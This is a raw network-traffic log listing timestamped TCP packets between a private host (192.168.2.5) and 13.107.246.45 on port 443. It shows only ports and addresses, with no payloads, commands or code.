Nov 18, 2024 20:21:59.086678982 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.086736917 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.086913109 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.086922884 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.501159906 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.503452063 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.504177094 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.504194021 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.504843950 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.504848957 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.505021095 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.505040884 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.505786896 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.505799055 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.901071072 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.901757956 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.901791096 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.901844025 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.901990891 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.902153015 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.902153015 CET	49969	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.902170897 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.902179956 CET	443	49969	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.902581930 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.902700901 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.913346052 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.913357019 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.913459063 CET	49968	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.913465023 CET	443	49968	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.919003963 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.919054985 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.919298887 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.919897079 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.919914007 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.920730114 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.920742989 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:59.920974970 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.921150923 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:59.921163082 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.033826113 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.034590960 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.034636021 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.035310984 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.035840034 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.068160057 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.068190098 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.069252014 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.069284916 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.069643974 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.069648981 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.069880962 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.069905043 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.070468903 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.070475101 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.198529959 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.198575020 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.198641062 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.198668003 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.198719025 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.199137926 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.199399948 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.200901985 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.200922966 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.200965881 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.200979948 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.201010942 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.201040983 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.202064037 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.202102900 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.202133894 CET	49977	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.202148914 CET	443	49977	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.215962887 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.215996027 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.216017008 CET	49978	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.216025114 CET	443	49978	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.229208946 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.229208946 CET	49979	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.229238033 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.229255915 CET	443	49979	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.313592911 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.313642025 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.313919067 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.317619085 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.317652941 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.317715883 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.318063021 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.318082094 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.325064898 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.325114012 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.325205088 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.328191042 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.328212023 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.328391075 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.328411102 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.655888081 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.656668901 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.656712055 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.657931089 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.657946110 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.666376114 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.667103052 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.667125940 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.667917967 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.667926073 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.785471916 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.785752058 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.785806894 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.785811901 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.785855055 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.798860073 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.798888922 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.798902988 CET	49984	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.798908949 CET	443	49984	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.803525925 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.803581953 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.803659916 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.803824902 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.803833961 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806082964 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806129932 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806176901 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.806201935 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806443930 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.806467056 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806476116 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.806816101 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806915998 CET	443	49983	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.806957960 CET	49983	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.809155941 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.809184074 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:00.809401989 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.809699059 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:00.809711933 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.059746981 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.060465097 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.060551882 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.061121941 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.061136007 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.070617914 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.078718901 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.078749895 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.079327106 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.079338074 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.189732075 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.189821959 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.189941883 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.190118074 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.190118074 CET	49988	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.190165997 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.190196037 CET	443	49988	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.193048954 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.193099976 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.193233013 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.193401098 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.193412066 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.208187103 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.208319902 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.208419085 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.208456039 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.208456039 CET	49987	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.208476067 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.208489895 CET	443	49987	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.211263895 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.211302996 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.211405993 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.211524963 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.211540937 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.400557995 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.401130915 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.401149988 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.401801109 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.401806116 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.526679039 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.526978970 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.527040958 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.527101994 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.527141094 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.527141094 CET	49989	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.527162075 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.527173042 CET	443	49989	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.530025959 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.530059099 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.530131102 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.530507088 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.530519009 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.560055971 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.560492039 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.560512066 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.560976982 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.560982943 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.564733982 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.565100908 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.565114021 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.565567017 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.565572023 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.695559978 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.695593119 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.695651054 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.695693970 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.695735931 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.695898056 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.695923090 CET	49991	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.695924044 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.695930004 CET	443	49991	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.699048042 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.699079990 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.699390888 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.699620008 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.699639082 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.701962948 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.702049971 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.702164888 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.702192068 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.702210903 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.702223063 CET	49992	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.702228069 CET	443	49992	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.704286098 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.704317093 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.704415083 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.704750061 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.704765081 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.929286003 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.929894924 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.929908037 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.930489063 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.930494070 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.952076912 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.952590942 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.952615976 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:01.953279018 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:01.953284979 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.062196016 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.062233925 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.062293053 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.062311888 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.062438011 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.062535048 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.062561035 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.062618017 CET	49998	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.062627077 CET	443	49998	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.065181017 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.065213919 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.065373898 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.065542936 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.065552950 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.090775967 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.090876102 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.090960979 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.091454983 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.091454983 CET	50000	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.091475010 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.091485977 CET	443	50000	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.093956947 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.093995094 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.094075918 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.094657898 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.094674110 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.257498026 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.258038998 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.258049965 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.258477926 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.258482933 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.399085999 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.399130106 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.399197102 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.399247885 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.399601936 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.399601936 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.399837971 CET	50002	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.399851084 CET	443	50002	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.402059078 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.402151108 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.402620077 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.403043032 CET	50010	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.403078079 CET	443	50010	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.439647913 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.440205097 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.440227985 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.440737009 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.440749884 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.444286108 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.445010900 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.445041895 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.445607901 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.445614100 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.570358038 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.570446014 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.570862055 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.570965052 CET	50003	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.570980072 CET	443	50003	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.574342012 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.574419975 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.574562073 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.579289913 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.579344034 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.579787970 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.579833984 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.579833984 CET	50004	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.579866886 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.579879045 CET	443	50004	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.581294060 CET	50011	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.581305027 CET	443	50011	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.582905054 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.582941055 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.583235979 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.583348036 CET	50012	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:02.583363056 CET	443	50012	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.801390886 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.834252119 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:02.987905979 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.003055096 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.003076077 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.003684998 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.003694057 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.004271030 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.004291058 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.004671097 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.004676104 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.129400015 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.129514933 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.129585028 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.129983902 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.130007029 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.130050898 CET	50008	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.130057096 CET	443	50008	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.131334066 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.131371975 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.131416082 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.131433964 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.131449938 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.131490946 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.131977081 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.131998062 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.132014990 CET	50007	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.132021904 CET	443	50007	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.143095970 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.143145084 CET	443	50014	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:03.143210888 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.143579006 CET	50014	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:03.143594027 CET	443	50014	13.107.246.45	192.168.2.5
